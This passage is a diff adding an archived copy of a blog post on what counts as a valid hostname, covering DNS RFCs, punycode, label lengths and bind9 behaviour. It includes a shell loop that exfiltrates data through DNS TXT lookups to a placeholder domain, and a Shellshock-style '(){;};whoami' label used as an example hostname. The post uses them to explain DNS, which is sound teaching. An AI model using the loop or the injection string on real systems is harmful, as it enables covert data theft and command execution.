SRE weekly 所有文章
This commit is contained in:
809
sreweekly/articles/293/06-what-s-in-a-hostname.html
Normal file
809
sreweekly/articles/293/06-what-s-in-a-hostname.html
Normal file
@@ -0,0 +1,809 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
||||
|
||||
<html lang="en">
|
||||
<head>
|
||||
<title>What's in a hostname?</title>
|
||||
<meta http-equiv="content-type" content= "text/html; charset=utf-8">
|
||||
<meta name="robots" content="noai,noimageai">
|
||||
|
||||
<meta property="og:url" content="https://www.netmeister.org/blog/hostnames.html">
|
||||
<meta property="og:title" content="What's in a hostname?">
|
||||
<meta property="og:description" content="The
|
||||
common definition of a 'valid hostname' is often
|
||||
reduced to a simple regular expression, but as the saying
|
||||
goes: 'Now you have two problems.' Because hostnames
|
||||
are DNS labels and those... well, it's the DNS. All
|
||||
bets are off.">
|
||||
<meta property="og:image" content="https://www.netmeister.org/blog/images/hostname.png">
|
||||
|
||||
<link rel="made" href="mailto:jschauma@netmeister.org">
|
||||
<link rel="alternate" type="application/rss+xml" title="Signs of Triviality" href="https://www.netmeister.org/blog/rss.xml">
|
||||
<link rel="stylesheet" type="text/css" href="blog.css">
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<h1>Signs of Triviality</h1>
|
||||
<em>Opinions, mostly my own, on the importance of being and other things.</em>
|
||||
<hr class="noshade" style="width:100%;">
|
||||
<small>
|
||||
[<a href="../index.html">homepage</a>]
|
||||
[<a href="index.html">blog</a>]
|
||||
[<a href="mailto:jschauma@netmeister.org">jschauma@netmeister.org</a>]
|
||||
[<a href="https://mstdn.social/@jschauma">@jschauma</a>]
|
||||
[<a href="rss.xml">RSS</a>]
|
||||
</small>
|
||||
<input type="checkbox" id="theme-checker" hidden>
|
||||
<div class="container">
|
||||
<label class="switch" for="theme-checker" title="Dark/Light mode">
|
||||
<span class="slider round"></span>
|
||||
</label>
|
||||
</div>
|
||||
<hr class="noshade" style="width:100%;">
|
||||
<h2>What's in a hostname?</h2>
|
||||
<table border="0" width="75%">
|
||||
<tr>
|
||||
<td>
|
||||
<p><small>October 18, 2021</small></p>
|
||||
<p>
|
||||
<img src="/blog/images/hostname.png" align="right"
|
||||
alt="Hello, my hostname is... undefined.">
|
||||
I think a lot of people on the internet are wrong.
|
||||
In particular (well, this time, anyway), about what
|
||||
is and isn't valid to use in a "hostname". Yes,
|
||||
yes, <a href="https://xkcd.com/386/">xkcd 386</a>, but
|
||||
still, humor me, will ya?
|
||||
</p>
|
||||
|
||||
<p>Just about everywhere you look, people will tell
|
||||
you that a valid hostname consists only of the
|
||||
characters <tt>a-z</tt>, numbers, and hyphens
|
||||
("<tt>-</tt>"), but that they can't start or end with
|
||||
a hyphen. So you start putting together a regular
|
||||
expression along the lines of:</p>
|
||||
|
||||
<div style="text-align: center;"><pre class="code">
|
||||
^[a-z0-9]+(([a-z0-9-])*[a-z0-9]+)*$
|
||||
</pre></div>
|
||||
|
||||
<p>Now, as the <a
|
||||
href="http://regex.info/blog/2006-09-15/247">famous
|
||||
saying</a> goes, you have (at least) two
|
||||
problems:</p>
|
||||
|
||||
<p>DNS names are case-insensitive, so
|
||||
<tt>www.netmeister.org</tt> and
|
||||
<tt>wWw.NeTmEiStEr.OrG</tt> are equivalent:</p>
|
||||
|
||||
<div class="centerbox"><pre class="code">
|
||||
$ host www.netmeister.org
|
||||
www.netmeister.org is an alias for panix.netmeister.org.
|
||||
panix.netmeister.org has address 166.84.7.99
|
||||
panix.netmeister.org has IPv6 address 2001:470:30:84:e276:63ff:fe72:3900
|
||||
$ host wWw.NeTmEiStEr.OrG
|
||||
www.netmeister.org is an alias for panix.netmeister.org.
|
||||
panix.netmeister.org has address 166.84.7.99
|
||||
panix.netmeister.org has IPv6 address 2001:470:30:84:e276:63ff:fe72:3900
|
||||
$ </pre></div>
|
||||
|
||||
<p> And in my zone file, I can create labels using
|
||||
upper or lower case characters, and a lookup for
|
||||
either will yield <em>all</em> matching results:</p>
|
||||
|
||||
<div class="centerbox"><pre class="code">
|
||||
$ grep ^[bB] valid.dns.netmeister.org
|
||||
b IN A 203.0.113.4
|
||||
b IN AAAA 2001:db8:b::1
|
||||
B IN A 203.0.113.5
|
||||
B IN AAAA 2001:db8:b::2
|
||||
$ host b.valid.dns.netmeister.org
|
||||
b.valid.dns.netmeister.org has address 203.0.113.4
|
||||
b.valid.dns.netmeister.org has address 203.0.113.5
|
||||
b.valid.dns.netmeister.org has IPv6 address 2001:db8:b::2
|
||||
b.valid.dns.netmeister.org has IPv6 address 2001:db8:b::1
|
||||
$ host B.valid.dns.netmeister.org
|
||||
b.valid.dns.netmeister.org has address 203.0.113.4
|
||||
b.valid.dns.netmeister.org has address 203.0.113.5
|
||||
b.valid.dns.netmeister.org has IPv6 address 2001:db8:b::2
|
||||
b.valid.dns.netmeister.org has IPv6 address 2001:db8:b::1
|
||||
$ </pre></div>
|
||||
|
||||
<p>
|
||||
(This, by the way, is why you need to normalize, e.g.,
|
||||
hostnames in client certificates, SNIs, or
|
||||
<tt>Host:</tt> headers, especially when using those in
|
||||
an authorization context.)</p>
|
||||
|
||||
<p>But ok, adding <tt>A-Z</tt> to the regex isn't hard.
|
||||
But we also have to account for special cases involving
|
||||
hyphens. Common wisdom tells us we can't have a
|
||||
hostname start or end with a hyphen, but what about
|
||||
multiple successive hyphens? Let's give it a try:</p>
|
||||
|
||||
<div class="centerbox"><pre class="code">
|
||||
$ host 0-------------------------------------------------------------9.valid.dns.netmeister.org
|
||||
0-------------------------------------------------------------9.valid.dns.netmeister.org has address 203.0.113.7
|
||||
0-------------------------------------------------------------9.valid.dns.netmeister.org has IPv6 address 2001:db8:53::7
|
||||
$ </pre></div>
|
||||
|
||||
<p>Hey, that works. But... wait a second, <a
|
||||
href="https://www.rfc-editor.org/rfc/rfc5891#section-4.2.3.1">RFC5891</a>
|
||||
(2010), which adds support for Internationalized
|
||||
Domain Names (IDNs) in the DNS notes:</p>
|
||||
|
||||
<blockquote class="pretty">
|
||||
The Unicode string MUST NOT contain "--" (two
|
||||
consecutive hyphens) in the third and fourth character
|
||||
positions and MUST NOT start or end with a "-"
|
||||
(hyphen).
|
||||
</blockquote>
|
||||
|
||||
<p>Remember <a href="tlds.html#idns">IDNs</a>? Those
|
||||
are used in the DNS to represent names using non-ascii
|
||||
alphabets, but are actually written into the DNS using
|
||||
<a
|
||||
href="https://en.wikipedia.org/wiki/Punycode">punycode</a>.
|
||||
Punycode uses the ASCII Compatible Encoding (ACE)
|
||||
prefix "<em>xn--</em>", which... makes things
|
||||
<em>really</em> messy:</p>
|
||||
|
||||
<p>"<tt>ä.valid.dns.netmeister.org</tt>" is an IDN
|
||||
with punycode representation
|
||||
"<tt>xn--4ca.valid.dns.netmeister.org</tt>". Your
|
||||
browser or an HTTP client like, e.g., <tt>curl(1)</tt>
|
||||
may automatically translate <tt>ä</tt> to
|
||||
<tt>xn--4ca</tt> for you, so will not actually issue a
|
||||
DNS lookup for
|
||||
"<tt>ä.valid.dns.netmeister.org</tt>", but for
|
||||
"<tt>xn--4ca.valid.dns.netmeister.org</tt>". Likewise
|
||||
for, say, <tt>💩</tt> / <tt>xn--ls8h</tt>.</p>
|
||||
|
||||
<p>But not all Unicode Code Points are necessarily
|
||||
allowed in IDNs (see <a
|
||||
href="https://datatracker.ietf.org/doc/html/rfc5892#appendix-B.1">RFC5892</a>);
|
||||
<tt>ä</tt> (00E4) is allowed, 💩 (1F4A9)
|
||||
is <em>not</em>. Never mind that despite it violating
|
||||
RFC5892, the domain <a
|
||||
href="https://xn--ls8h.la/">💩.la</a> exists,
|
||||
got a TLS certificate from Let's Encrypt, and can be
|
||||
reached via your browser; it merely shows that
|
||||
registrars and clients do not necessarily or
|
||||
consistently implement this check.</p>
|
||||
|
||||
<p>Now your <em>browser</em> is likely to take
|
||||
"<tt>ä.valid.dns.netmeister.org</tt>", translate
|
||||
it to "<tt>xn--4ca.valid.dns.netmeister.org</tt>" and
|
||||
then perform a DNS lookup, but a command-line lookup
|
||||
would try "<tt>ä</tt>" and fail:</p>
|
||||
|
||||
<div class="centerbox"><pre class="code">
|
||||
$ host xn--4ca.valid.dns.netmeister.org
|
||||
xn--4ca.valid.dns.netmeister.org has address 203.0.113.7
|
||||
xn--4ca.valid.dns.netmeister.org has IPv6 address 2001:db8:53::7
|
||||
$ host ä.valid.dns.netmeister.org
|
||||
host ä.valid.dns.netmeister.org not found: 3(NXDOMAIN)
|
||||
$ host xn--ls8h.valid.dns.netmeister.org
|
||||
xn--ls8h.valid.dns.netmeister.org has address 203.0.113.6
|
||||
xn--ls8h.valid.dns.netmeister.org has IPv6 address 2001:db8:53::6
|
||||
$ host 💩.valid.dns.netmeister.org
|
||||
Host 💩.valid.dns.netmeister.org not found: 3(NXDOMAIN)
|
||||
$
|
||||
</pre></div>
|
||||
|
||||
<p><tt>curl(1)</tt>, for example, may behave
|
||||
differently depending on the version or how it was
|
||||
built:</p>
|
||||
|
||||
<div class="centerbox"><pre class="code">
|
||||
# successful conversion to xn--4ca.valid.dns.netmeister.org
|
||||
$ curl -v -I http://ä.valid.dns.netmeister.org
|
||||
* Trying 203.0.113.7:80...
|
||||
|
||||
vs
|
||||
|
||||
$ curl -I http://ä.valid.dns.netmeister.or
|
||||
curl: (3) Failed to convert ä.valid.dns.netmeister.org to ACE; could not convert string to UTF-8
|
||||
</pre></div>
|
||||
|
||||
<p>As we observe, on successful conversion of the IDN into
|
||||
punycode we get a <tt>xn--</tt>-prefixed DNS label
|
||||
name, which is why we don't want any names with two
|
||||
hyphens in the third and fourth position.
|
||||
<tt>bind9</tt> let us do that anyway, but to generate
|
||||
a <em>valid</em> label, we might create names like
|
||||
this:</p>
|
||||
|
||||
<div class="centerbox"><pre class="code">
|
||||
$ host 0-a----------------------------------------------------------1.0-b----------------------------------------------------------2.0-c----------------------------------------------------------3.0-d-------------------------------4.valid.dns.netmeister.org
|
||||
0-a----------------------------------------------------------1.0-b----------------------------------------------------------2.0-c----------------------------------------------------------3.0-d-------------------------------4.valid.dns.netmeister.org has address 203.0.113.8
|
||||
0-a----------------------------------------------------------1.0-b----------------------------------------------------------2.0-c----------------------------------------------------------3.0-d-------------------------------4.valid.dns.netmeister.org has IPv6 address 2001:db8:1:2:3:4:5:678
|
||||
$ </pre></div>
|
||||
|
||||
<p>Oooookay then. That's pretty long. Can you
|
||||
just... do that? Is there no limitation on the
|
||||
<em>length</em> of a hostname?</p>
|
||||
|
||||
<p>There is. But it's complicated: When matching
|
||||
"hostnames", we're often more interested in
|
||||
<em>fully-qualified domain names</em>, which consist
|
||||
of multiple <em>DNS labels</em>. Each of those has a
|
||||
length restriction, while we also have a total <a
|
||||
href="https://devblogs.microsoft.com/oldnewthing/20120412-00/?p=7873">maximum
|
||||
length of the FQDN</a>. Specifically, the DNS
|
||||
limitations are spelled out in <a
|
||||
href="https://datatracker.ietf.org/doc/html/rfc1035#section-2.3.4">RFC1035</a>
|
||||
from 1987:</p>
|
||||
|
||||
<blockquote class="pretty" style="width: max-content">
|
||||
<pre>Various objects and parameters in the DNS have size
|
||||
limits. They are listed below. Some could be easily
|
||||
changed, others are more fundamental.
|
||||
|
||||
labels 63 octets or less
|
||||
names 255 octets or less</pre></blockquote>
|
||||
|
||||
<p>So in addition to the initial examples of "valid
|
||||
hostnames", the following would also need to be
|
||||
matched correctly:</p>
|
||||
|
||||
<div class="centerbox"><pre class="code">
|
||||
# A single label cannot be longer than 63 octets:
|
||||
$ host aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.valid.dns.netmeister.org
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.valid.dns.netmeister.org has address 203.0.113.8
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.valid.dns.netmeister.org has IPv6 address 2001:db8:dead:f1ea::1
|
||||
|
||||
# But you can have many labels so long as the FQDN is <= 255 octets:
|
||||
$ host 0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.9.8.7.6.5.4.3.2.1.0.0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.ut.valid.dns.netmeister.org
|
||||
0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.9.8.7.6.5.4.3.2.1.0.0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.ut.valid.dns.netmeister.org
|
||||
has address 203.0.113.3
|
||||
0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.9.8.7.6.5.4.3.2.1.0.0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.ut.valid.dns.netmeister.org
|
||||
has IPv6 address 2001:db8:0:1:2:3:4:5
|
||||
$ </pre></div>
|
||||
|
||||
<p>With 63 octets per label and 253 total bytes in the
|
||||
FQDN, you can see how you can then use DNS lookups for
|
||||
data exfiltration:</p>
|
||||
|
||||
<div class="centerbox"><pre class="code">
|
||||
$ for label in $(base64 <payload | fold -w 200 | sed -e 's/.\{63\}/&./g'); do
|
||||
dig txt $label.yourdomain
|
||||
done
|
||||
</pre></div>
|
||||
|
||||
<p>On the authoritative DNS server you control, simply
|
||||
reconstruct the original data from the DNS lookups.
|
||||
Nice. But back to the question of what makes a "valid
|
||||
hostname"...</p>
|
||||
|
||||
<p>Trying to encode all of the above so far in a
|
||||
regular expression becomes silly quickly, and is thus
|
||||
left as an exercise for those who enjoy copying code
|
||||
from Stackoverflow without fully understanding what it
|
||||
does. But ok, let's stick with the basic rule of only
|
||||
allowing <tt>[a-z0-9-]</tt>, meaning we're talking
|
||||
about an individual DNS <em>label</em>. Where did
|
||||
people pick up the rules about only allowing
|
||||
<tt>[a-z0-9-]</tt>?</p>
|
||||
|
||||
<p>The canonical citation for this restriction remains
|
||||
<a
|
||||
href="https://datatracker.ietf.org/doc/html/rfc952">RFC952</a>,
|
||||
which dates back to 1985 (and thus predates the DNS
|
||||
itself). In fact, RFC952 is entitled "<em>DOD INTERNET
|
||||
HOST TABLE SPECIFICATION</em>", providing a lexical
|
||||
grammar for entries of type <tt>NET</tt>,
|
||||
<tt>GATEWAY</tt>, <tt>HOST</tt>, and
|
||||
<tt>DOMAIN</tt>:</p>
|
||||
|
||||
<div style="text-align: center;"><pre class="code">
|
||||
<hname> ::= <name>*["."<name>]
|
||||
<name> ::= <let>[*[<let-or-digit-or-hyphen>]<let-or-digit>]
|
||||
</pre></div>
|
||||
|
||||
<p>But <a
|
||||
href="https://www.rfc-editor.org/rfc/rfc1033">RFC1033</a>
|
||||
(1987), the "<em>DOMAIN ADMINISTRATORS OPERATIONS
|
||||
GUIDE</em>" says:</p>
|
||||
|
||||
<blockquote class="pretty" style="font-size: 1em"> The
|
||||
domain system allows a label <span class="hl1">to
|
||||
contain any 8-bit character</span>. Although the
|
||||
domain system has no restrictions, other protocols
|
||||
such as SMTP do have name restrictions. Because of
|
||||
other protocol restrictions, only the following
|
||||
characters are <span class="hl1">recommended</span>
|
||||
for use in a host name (besides the dot
|
||||
separator):<br> <br>
|
||||
"A-Z",
|
||||
"a-z", "0-9", dash and underscore </blockquote>
|
||||
|
||||
<p>The DNS "<em>DOMAIN NAMES - IMPLEMENTATION AND
|
||||
SPECIFICATION</em>" <a
|
||||
href="https://datatracker.ietf.org/doc/html/rfc1035">RFC1035</a>
|
||||
(1987) states that "<em>when creating a new host name,
|
||||
the old rules for HOSTS.TXT should be followed.</em>",
|
||||
and <a
|
||||
href="https://datatracker.ietf.org/doc/html/rfc1123#section-2">RFC1123</a>
|
||||
(1989) updates RFC952 to allow hostnames to start with
|
||||
a letter <em>or</em> a digit, but that's about it.
|
||||
<a
|
||||
href="https://www.rfc-editor.org/rfc/rfc1912#section-2.1">RFC1912</a>
|
||||
(1996) similarly suggests as much:</p>
|
||||
|
||||
<blockquote class="pretty" style="font-size: 1em">
|
||||
Allowable characters in a label for a host name are
|
||||
only ASCII letters, digits, and the `-' character.
|
||||
Labels may not be all numbers, but may have a leading
|
||||
digit (e.g., 3com.com). Labels must end and begin
|
||||
only with a letter or digit. [...] The presence of
|
||||
underscores in a label is allowed in [RFC 1033],
|
||||
except [RFC 1033] is informational only and was not
|
||||
defining a standard.
|
||||
</blockquote>
|
||||
|
||||
<p>Ergo: hostnames MUST match only <tt>[a-z0-9-]</tt>,
|
||||
right? Well, fun fact: RFC1912 is <em>also</em> only
|
||||
informational, but ok, then RFC952/RFC1123 still
|
||||
holds. But then why do we even have so many questions
|
||||
about what makes a valid hostname?</p>
|
||||
|
||||
<p> Now <em>that</em> appears to have its origin in
|
||||
Microsoft Windows's use of <a
|
||||
href="https://en.wikipedia.org/wiki/NetBIOS">NetBIOS</a>,
|
||||
which defines "<em>NetBIOS computer names</em>" in <a
|
||||
href="https://datatracker.ietf.org/doc/html/rfc1001">RFC1001</a>
|
||||
as 16 bytes (though Microsoft only allows 15 bytes,
|
||||
using the last byte to encode the devices
|
||||
functionality), and which does allow, for example,
|
||||
spaces as well as the underscore ("<tt>_</tt>") (see,
|
||||
e.g., <a
|
||||
href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/naming-conventions-for-computer-domain-site-ou#computer-names">AD
|
||||
naming conventions</a>). Now even in the days of
|
||||
Windows NT people apparently understood that spaces
|
||||
in names can complicate things, so replacing spaces
|
||||
with underscores appears to have been a popular
|
||||
approach: "<tt>MY COMPUTER</tt>" becomes
|
||||
"<tt>MY_COMPUTER</tt>".</p>
|
||||
|
||||
<p>But while a NetBIOS "computer name" is <em>not</em>
|
||||
a <em>hostname</em>, you do need one of those to
|
||||
communicate with other hosts on the internet (i.e.,
|
||||
outside of NetBIOS), and so you end up with people
|
||||
trying to add their NetBIOS "computer names" into the
|
||||
DNS, have their software or name server reject the
|
||||
name due to an invalid character, and then go and
|
||||
ask on Stackoverflow what the set of valid characters
|
||||
for a hostname is. Which is how we got here.</p>
|
||||
|
||||
<p>But... <em>is</em> an underscore an invalid
|
||||
character in a hostname? It's pretty clear from, say,
|
||||
<a href="dns-rrs.html#srv">SRV</a> or <a
|
||||
href="dns-rrs.html#tlsa">TLSA</a> records and the
|
||||
widespread use of <a
|
||||
href="https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail">DKIM</a> that the
|
||||
DNS has no problem with them:</p>
|
||||
|
||||
<div style="text-align: center;"><pre class="code">
|
||||
$ dig +short tlsa _443._tcp.www.netmeister.org
|
||||
3 1 1 2D2379261544C9841025CE4F728F7D4D5A00E9B0B1EF2B1E2EEBBED7 B1843543
|
||||
$ dig +short txt 2021._domainkey.netmeister.org.
|
||||
"v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCwSwZZHRcoVIHxjlETstEBKt/ \
|
||||
YiLFpZ0VGvz1ufZLVWKuOF1iKJOF/rDjzehyNK2CkJscPzcuMV6zMQyxiEOOPl4Pkugd4G27G4klqLK9TZ \
|
||||
EC3a77Iy4c1gu+10CSjsPPZgNCflLxmw/VtPs6n/ENgZyH6HUAv04yw8aMQnVnwlQIDAQAB"
|
||||
$
|
||||
</pre></div>
|
||||
|
||||
<p> In fact, many modern nameservers use the
|
||||
underscore to implement <a
|
||||
href="/twitter/1372611659148185616">DNS
|
||||
Query Name Minimisation</a> (<a
|
||||
href="https://datatracker.ietf.org/doc/html/rfc7816">RFC7816</a>)
|
||||
using exactly underscores as the left-most label, so
|
||||
clearly the underscore is a <em>valid</em> character
|
||||
-- for a <em>DNS label</em>, at least.</p>
|
||||
|
||||
<p>So what's the set of valid characters for a <em>DNS
|
||||
label</em> that's <em>not</em> a hostname? Aside from
|
||||
the "informational" RFCs noted above, <a
|
||||
href="https://datatracker.ietf.org/doc/html/rfc2181#section-11">RFC2181</a>
|
||||
provided a few important "<em>Clarifications to the
|
||||
DNS Specification</em>" back in 1997:</p>
|
||||
|
||||
<blockquote class="pretty" style="font-size: 1em">
|
||||
Occasionally it is assumed that the Domain Name System
|
||||
serves only the purpose of mapping Internet host names
|
||||
to data, and mapping Internet addresses to host names.
|
||||
This is not correct, the DNS is a general (if somewhat
|
||||
limited) hierarchical database, and can store almost
|
||||
any kind of data, for almost any purpose.
|
||||
<br><br>
|
||||
|
||||
The DNS itself places only one restriction on the
|
||||
particular labels that can be used to identify
|
||||
resource records. That one restriction relates to the
|
||||
length of the label and the full name. The length of
|
||||
any one label is limited to between 1 and 63 octets.
|
||||
A full domain name is limited to 255 octets (including
|
||||
the separators). [...] <span class="hl1">Those
|
||||
restrictions aside, any binary string whatever can be
|
||||
used as the label of any resource record.</span>
|
||||
Similarly, any binary string can serve as the value of
|
||||
any record that includes a domain name as some or all
|
||||
of its value (SOA, NS, MX, PTR, CNAME, and any others
|
||||
that may be added). </blockquote>
|
||||
|
||||
<p>Oh, look at that: "<b>any binary string whatever
|
||||
can be used as the label of any resource record.</b>"
|
||||
That includes the underscore. But even though a DNS
|
||||
<em>label</em> (and <tt>RDATA</tt>, incidentally) can
|
||||
contain just about anything, the above history has
|
||||
lead to DNS implementations applying different rules
|
||||
to labels that function as "hostnames" -- specifically,
|
||||
labels for resource records of type <tt>A</tt>,
|
||||
<tt>AAAA</tt>, and <tt>MX</tt>, as well as for RDATA
|
||||
of types <tt>NS</tt>, <tt>SOA</tt>, <tt>MX</tt>, and
|
||||
<tt>SRV</tt> (at least):</p>
|
||||
|
||||
<div style="text-align: center;"><pre class="code">
|
||||
$ grep -n ^_ valid.dns.netmeister.org
|
||||
53: _ IN TXT "no query minimization here"
|
||||
70: _ IN A 203.0.113.9
|
||||
$ named-checkzone valid.dns.netmeister.org valid.dns.netmeister.org
|
||||
valid.dns.netmeister.org:70: _.valid.dns.netmeister.org: bad owner name (check-names)
|
||||
zone valid.dns.netmeister.org/IN: loaded serial
|
||||
2021101513
|
||||
OK
|
||||
$ </pre></div>
|
||||
|
||||
<p>Note that <tt>named-checkzone</tt> did not complain
|
||||
about the <tt>TXT</tt> record on line 53, and so that
|
||||
is indeed a valid DNS label:</p>
|
||||
|
||||
<div style="text-align: center;"><pre class="code">
|
||||
$ dig +short _.valid.dns.netmeister.org txt
|
||||
"no query minimization here"
|
||||
$ </pre></div>
|
||||
|
||||
<p>In other words, we can use all sorts of characters
|
||||
for records of other types, notably include
|
||||
<tt>CNAME</tt> records:</p>
|
||||
|
||||
<div style="text-align: center;"><pre class="code">
|
||||
$ host ________.valid.dns.netmeister.org
|
||||
________.valid.dns.netmeister.org is an alias for www.netmeister.org.
|
||||
www.netmeister.org is an alias for panix.netmeister.org.
|
||||
panix.netmeister.org has address 166.84.7.99
|
||||
panix.netmeister.org has IPv6 address 2001:470:30:84:e276:63ff:fe72:3900
|
||||
$ </pre></div>
|
||||
|
||||
<p>Now this makes things interesting, because
|
||||
virtually everybody considers a <tt>CNAME</tt> to be a
|
||||
"hostname", and FQDNs that are <tt>CNAME</tt>s end up
|
||||
in all sorts of places where we assume they are
|
||||
<em>hostnames</em>. But note also that RFC2181
|
||||
stresses:</p>
|
||||
|
||||
<blockquote class="pretty" style="font-size: 1em">
|
||||
Implementations of the DNS protocols must not place
|
||||
any restrictions on the labels that can be used. In
|
||||
particular, DNS servers must not refuse to serve a
|
||||
zone because it contains labels that might not be
|
||||
acceptable to some DNS client programs. A DNS server
|
||||
may be configurable to issue warnings when loading, or
|
||||
even to refuse to load, a primary zone containing
|
||||
labels that might be considered questionable, however
|
||||
this should not happen by default.
|
||||
</blockquote>
|
||||
|
||||
<p>And so -- ignoring the discussion of what should or
|
||||
shouldn't be a "default" -- we <em>can</em> instruct,
|
||||
e.g., <a
|
||||
href="https://bind9.readthedocs.io/en/latest/reference.html">bind9</a>
|
||||
to simply not complain about so-called "invalid"
|
||||
names, since we have already established that, outside
|
||||
of the length restriction, there really is no such
|
||||
thing. And then:</p>
|
||||
|
||||
<div style="text-align: center;"><pre class="code">
|
||||
# A "hostname" must not start with a hyphen:
|
||||
$ dig +short aaaa -q "-.invalid.dns.netmeister.org"
|
||||
2001:db8:fa4e::1
|
||||
|
||||
# ...nor end with a hyphen:
|
||||
$ dig +short aaaa a-.invalid.dns.netmeister.org
|
||||
2001:db8:fa4e::2
|
||||
|
||||
# MX records should not allow special characters like '@'
|
||||
$ dig +short mx jschauma@this.is.invalid.dns.netmeister.org
|
||||
50 panix.netmeister.org.
|
||||
|
||||
# You can't quote the ., but you sure can make it look like you can:
|
||||
$ host "'.'.invalid.dns.netmeister.org"
|
||||
'.'.invalid.dns.netmeister.org has address 192.0.2.8
|
||||
'.'.invalid.dns.netmeister.org has IPv6 address 2001:db8:fa4e::8
|
||||
|
||||
# In fact, all bets are off:
|
||||
$ dig +short "¯\_(ツ)_/¯.invalid.dns.netmeister.org"
|
||||
192.0.2.5
|
||||
$ dig +short aaaa "¯\_(ツ)_/¯.invalid.dns.netmeister.org"
|
||||
2001:db8:fa4e::5
|
||||
</pre></div>
|
||||
|
||||
<p>With <tt>check-names</tt> disabled, we can then
|
||||
also create a label with a literal non-punycode IDN /
|
||||
emoji, thereby allowing tools like <tt>host(1)</tt>
|
||||
and <tt>dig(1)</tt> to work:</p>
|
||||
|
||||
<div style="text-align: center;"><pre class="code">
|
||||
$ host ä.invalid.dns.netmeister.org
|
||||
\195\131\194\164.invalid.dns.netmeister.org has address 192.0.2.11
|
||||
\195\131\194\164.invalid.dns.netmeister.org has IPv6 address 2001:db8:fa4e::11
|
||||
$ host 💩.invalid.dns.netmeister.org
|
||||
\195\176\194\159\194\146\194\169.invalid.dns.netmeister.org has address 192.0.2.10
|
||||
\195\176\194\159\194\146\194\169.invalid.dns.netmeister.org has IPv6 address 2001:db8:fa4e::10
|
||||
</pre></div>
|
||||
|
||||
<p>This still feels like cheating, though, because we
|
||||
had to explicitly disable <tt>check-names</tt> in our
|
||||
<tt>bind9</tt> configuration file. But remember that
|
||||
anything that's "invalid" for "hostnames" (as in
|
||||
<tt>A</tt> and <tt>AAAA</tt> records) still
|
||||
<em>is</em> valid for <tt>CNAME</tt> records. So all
|
||||
of the following shenanigans will work and are
|
||||
<em>entirely</em> "valid":</p>
|
||||
|
||||
<div style="text-align: center;"><pre class="code">
|
||||
$ host 'www.netmeister.org. .is.valid.dns.netmeister.org'
|
||||
www.netmeister.org.\032.is.valid.dns.netmeister.org is an alias for www.netmeister.org.
|
||||
www.netmeister.org is an alias for panix.netmeister.org.
|
||||
panix.netmeister.org has address 166.84.7.99
|
||||
panix.netmeister.org has IPv6 address 2001:470:30:84:e276:63ff:fe72:3900
|
||||
$ host "¯\_(ツ)_/¯.valid.dns.netmeister.org"
|
||||
\195\130\194\175_\(\195\163\194\131\194\132\)_/\195\130\194\175.valid.dns.netmeister.org is an alias for 1.valid.dns.netmeister.org.
|
||||
1.valid.dns.netmeister.org has address 203.0.113.1
|
||||
1.valid.dns.netmeister.org has IPv6 address 2001:db8:1::1
|
||||
$ host '$HOSTNAME.valid.dns.netmeister.org'
|
||||
\$HOSTNAME.valid.dns.netmeister.org is an alias for 1.valid.dns.netmeister.org.
|
||||
1.valid.dns.netmeister.org has address 203.0.113.1
|
||||
1.valid.dns.netmeister.org has IPv6 address 2001:db8:1::1
|
||||
$ host '(){;};whoami.valid.dns.netmeister.org'
|
||||
\(\){\;}\;whoami.valid.dns.netmeister.org is an alias for 1.valid.dns.netmeister.org.
|
||||
1.valid.dns.netmeister.org has address 203.0.113.1
|
||||
1.valid.dns.netmeister.org has IPv6 address 2001:db8:1::1
|
||||
</pre></div>
|
||||
|
||||
<p>"But those aren't <em>hostnames</em>!", you
|
||||
say. Which... is true. But they're used <em>as</em>
|
||||
hostnames and used <em>in a hostname context</em> for
|
||||
all intents and purposes. Which of course makes
|
||||
things like <tt>(){;};whoami</tt> particularly
|
||||
dangerous -- remember <a
|
||||
href="https://en.wikipedia.org/wiki/Shellshock_(software_bug)">Shellshock</a>?
|
||||
Setting a "hostname" via DHCP was <a
|
||||
href="https://blog.trendmicro.com/trendlabs-security-intelligence/bash-bug-saga-continues-shellshock-exploit-via-dhcp/">exactly
|
||||
one such scenario</a>. And what exactly is a
|
||||
"hostname" supposed to be, anyway?</p>
|
||||
|
||||
<p>A "hostname" can mean many different things (as
|
||||
noted in <a
|
||||
href="https://datatracker.ietf.org/doc/html/rfc7719#section-2">RFC7719</a>). It
|
||||
may refer to a DNS label of an <tt>A</tt> or
|
||||
<tt>AAAA</tt> record, it may refer to a complete FQDN,
|
||||
or it may be "the left-most label of a FQDN". And
|
||||
this distinction between "the left-most component of a
|
||||
FQDN" and a FQDN is important even if you stick to all
|
||||
common definitions of "validity". For example,
|
||||
consider the hostname <tt>0xcafe</tt>, which clearly
|
||||
matches <tt>^[a-zA-Z0-9-]+$</tt>: </p>
|
||||
|
||||
<div style="text-align: center;"><pre class="code">
